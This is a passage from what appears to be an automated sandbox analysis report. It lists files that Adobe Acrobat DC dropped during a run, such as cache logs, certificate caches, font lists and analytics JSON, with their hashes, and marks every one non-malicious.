SHA-256:	7A3D1AE83521AE7A9668AC4977C7A55B5B63CA7B4D16F191BA1AB1508823F183
SHA-512:	374185470F31D5D6D39740D4448E400F1111FFCE8C0899653289F587B4F9C67406F01F77C2CBADFC0E7CE33F3A09E1AC6BA8CA2A3C8C112C1C68B0BA051D6A1E
Malicious:	false
Preview:	2025/01/10-17:02:06.452 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:02:06.453 1ec0 Recovering log #3.2025/01/10-17:02:06.454 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.151084505251454
Encrypted:	false
SSDEEP:	6:iO433q2PcNwi2nKuAl9OmbzNMxIFUtSiZCXZmwsx+zkwOcNwi2nKuAl9OmbzNMFd:723vLZHAa8jFUtlCX/Fz54ZHAa84J
MD5:	A425FBD32E8DF1C5CD2E2F5C367705A2
SHA1:	1BFB70C0AC554068D6A2B8AF7D177642C9D9E4D7
SHA-256:	7A3D1AE83521AE7A9668AC4977C7A55B5B63CA7B4D16F191BA1AB1508823F183
SHA-512:	374185470F31D5D6D39740D4448E400F1111FFCE8C0899653289F587B4F9C67406F01F77C2CBADFC0E7CE33F3A09E1AC6BA8CA2A3C8C112C1C68B0BA051D6A1E
Malicious:	false
Preview:	2025/01/10-17:02:06.452 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:02:06.453 1ec0 Recovering log #3.2025/01/10-17:02:06.454 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438587493951287
Encrypted:	false
SSDEEP:	384:yeaci5GgiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1MurVgazUpUTTGt
MD5:	DD9AB6683E8A5EDEF0C53355785A6678
SHA1:	6755EED3495A4C9E6FBDFAECAD7537D82FB42847
SHA-256:	FAB2DE507C45D8C6A737ED866470B1E5B8A994989CC84FEF5EB7A23A29F876DB
SHA-512:	8409C6B2AC579880841418E120DE6497C94A18B564F546B01BA05B32A758F1919B03D656FB4453702C3C94C23803B8995E55F4BF4471C8201D6ECECF40F54CB7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7757239094121613
Encrypted:	false
SSDEEP:	48:7MAp/E2ioyVXioy3DoWoy1CABoy1XKOioy1noy1AYoy1Wioy1hioybioyroy1noc:7jpjuX0iARXKQWOb9IVXEBodRBkoB
MD5:	6D73FE6BEFB20F602D2307FEC4C6E7B0
SHA1:	5325E91DEB85ED3BC0782B40199DB4CB6E66DB7F
SHA-256:	E92736C9D2DEA85358CDB08FCCF8B4CAAAEEBD13D423CAA89055789B0DAB6465
SHA-512:	1C2BF41E7E506EC0254C539AE05D2699B64E3D084C0259CB9B1278FE805F31E99F7177F3F2121361D09455A9AEA452E77F88958DE39B4B4D923B9023EB1AB703
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklcZRltfllXlE/HT8kmzlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKFZDeT8X7NMa8RdWBwRd
MD5:	0A091E10B29F34E572D067F17EEAA014
SHA1:	F45BD36BB284E0A5C60BB9C5DAF000C3416A1A75
SHA-256:	247609C888D8FC15A3A2E5DF19A3D34CC0DDFFFC4C1B1E28ED44D76F203F4AF0
SHA-512:	15D4AB4CAC67E78B3C504AC5D1A2C13AE405023552D377DD0F98211C1148FAB6147EA395387E36DEE429F77A21CFDB6A39F4D3ECAA7DE99BFC4EAEA4C7403DEF
Malicious:	false
Preview:	p...... ........o=.M.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKzL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:riDnLNkPlE99SNxAhUe/3
MD5:	079A26E87B956D89AB8668746D0A3CEF
SHA1:	C6B5819ACFE3069FB0591A52013DEB4441B865C7
SHA-256:	7E0DF9EF39D224A9AEA18A531429A7B63C6CD118C7C5C8179EF4FEDAC94CCCC8
SHA-512:	A7CAD6B7699B2339DD754FC45A770AB2CCB41A7B3AD223AD3060A8E58084DD972667DD094FD4B7276FD92B0CDD14AC1A66701E7AD62089071891E8CC469617C9
Malicious:	false
Preview:	p...... .........OM`.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7472

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7472

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.368578513622291
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJM3g98kUwPeUkwRe9:YvXKXwAzsdTeOM5GMbLUkee9
MD5:	F1979219A44FF9FF63E1D487F6828E33
SHA1:	E02FF2720FD0BAFAB5B225B171A7CA308C7F0C0A
SHA-256:	F1324F7B30DD00EB13312D398B9AC57FC94525BCF49252D0AD5B237ED8B2BA13
SHA-512:	847D645105374D3FC4562D763C2890C7F9F834E7063F5518B8264AAF18F4C29E8A6C1AD8716A5C494B7E32F79FAC9F317B7E7B21073624B37DF9D1F38E2383F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304977194061735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJfBoTfXpnrPeUkwRe9:YvXKXwAzsdTeOM5GWTfXcUkee9
MD5:	6B80F46AC0C4B5D488410A8186C64F33
SHA1:	87F3A706C649AA67F543C630D02086CBC0FC699A
SHA-256:	A1BDD0C1F23CA2D4E86EB88991EAF4D33A7927ABEC5B1A4AE6762129FA795A11
SHA-512:	D828E6258F8FD5BED4B8C098A0477F5F5938856CFB233A75BFD0266728228734F1B8F3B9D973894B6D9282FAF396DF8F07BCBA7149FBB12A8D15A926E89108C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.283683408288613
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJfBD2G6UpnrPeUkwRe9:YvXKXwAzsdTeOM5GR22cUkee9
MD5:	A5E3A38200B401223301EB53379F8DB8
SHA1:	31E8DECC495CD42002622D8B0B2F3F6CC86C1B87
SHA-256:	3F4AB93EBAD190039DCCC5679DC1DDBF376FED9F96265B7DD428622E87F2B38D
SHA-512:	6B71E5221949A2C04D541FFDC2376986E770290855D3E4C7B6D617249D6F0B546E8A32C5B004C0EFDEE9A6185C0BF5A90E323220DA663B3B46C84B03B2D1CED3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.355639803700091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJfPmwrPeUkwRe9:YvXKXwAzsdTeOM5GH56Ukee9
MD5:	87A71B1AB3FBA7E0035427E8E42E8169
SHA1:	A0ABC9294A850CD329A23851FBAEC9545B7A441C
SHA-256:	F1DD929B054C9D98F5E1BE28870882EED0005159F03EE29BBAAF8BC7BB4E227A
SHA-512:	47584C455BCA4F7771D833B3400AC7C75E2F5B77E3DD7B35220F9138289D5631DC05BA17A875C741F9EF871377724AB476B950EF7E869647E4BD2BDAF7182447
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684944393010652
Encrypted:	false
SSDEEP:	24:Yv6XnzmeOLpLgE9cQx8LennAvzBvkn0RCmK8czOCCSf:Yvjeshgy6SAFv5Ah8cv/f
MD5:	11BD16442959463A4BF79CFFBAC10382
SHA1:	67B3BCE9B50E3876567BA75B4F9F9D02DA91405E
SHA-256:	365B695FCD6149C778B1E00C5138D668DDF0FCA4632F36634331D1979BFCD9EF
SHA-512:	CF488E1548BE38F209589DFF348D2F762A8E4128D179062B3B463B11635890C668932608D750EA7032F1196213375D2D5073722C1768BE6BBB1CEDD389AA9BE9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290186766694408
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJf8dPeUkwRe9:YvXKXwAzsdTeOM5GU8Ukee9
MD5:	86E7232809D75C24EF7CCA5CE479F50B
SHA1:	63AFFA06E829FFBD0C37DBBE0893AC9AAAEB4EBF
